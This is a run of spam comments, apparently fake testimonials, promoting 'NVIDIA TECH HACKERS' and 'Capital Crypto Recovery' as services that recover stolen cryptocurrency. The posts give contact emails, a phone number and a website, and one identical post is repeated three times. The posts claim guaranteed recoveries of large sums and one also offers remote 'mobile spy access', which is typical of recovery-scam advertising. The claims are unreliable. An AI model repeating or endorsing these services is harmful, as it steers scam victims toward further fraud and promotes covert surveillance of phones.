As time passes, there are an increasing number of frauds involving Bitcoin and other cryptocurrencies. Although there are many individuals who advertise recovering money online, people should use caution in dealing, especially when money is involved. You can trust NVIDIA TECH HACKERS [[email protected]], I promise. They are the top internet recovery company, and as their names indicate, your money is reclaimed as soon as feasible. My bitcoin was successfully retrieved in large part thanks to NVIDIA TECH HACKERS. Ensure that you get top-notch service; NVIDIA TECH HACKERS provides evidence of its work; and payment is only made when the service has been completed to your satisfaction. Reach them via email: [email protected] on google mail
17.10.25 20:20 lindseyvonn

Have you gotten yourself involved in a cryptocurrency scam or any scam at all? If yes, know that you are not alone, there are a lot of people in this same situation. I'm a Health Worker and was a victim of a cryptocurrency scam that cost me a lot of money. This happened a few weeks ago, there’s only one solution which is to talk to the right people, if you don’t do this you will end up being really depressed. I was really devastated until went on LinkedIn one evening after my work hours and i saw lots of reviews popped up on my feed about [email protected], I sent an email to the team who came highly recommended - [email protected] I started seeing some hope for myself from the moment I sent them an email. The good part is they made the entire process stress free for me, i literally sat and waited for them to finish and I received what I lost in my wallet
17.10.25 20:22 richardcharles

I would recommend NVIDIA TECH HACKERS to anyone that needs this service. I decided to get into crypto investment and I ended up getting my crypto lost to an investor late last year. The guy who was supposed to be managing my account turned out to be a scammer all along. I invested 56,000 USD and at first, my reading and profit margins were looking good. I started getting worried when I couldn’t make withdrawals and realized that I’ve been scammed. I came across some of the testimonials that people said about NVIDIA TECH HACKERS and how helpful he has been in recovering their funds. I immediately contacted him in his mail at [email protected] so I can get his assistance. One week into the recovery process the funds were traced and recovered back from the scammer. I can't appreciate him enough for his professionalism.
17.10.25 20:23 stevekalfman

If you need a hacker for scam crypto recovery or mobile spy access remotely kindly reach out to [email protected] for quick response, I hired this hacker and he did a nice job. before NVIDIA TECH HACKERS, I met with different hacker's online which turns out to be scam, this NVIDIA TECH HACKERS case was different and he is the trusted hacker I can vote and refer.
17.10.25 21:42 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
17.10.25 21:42 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
17.10.25 21:42 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1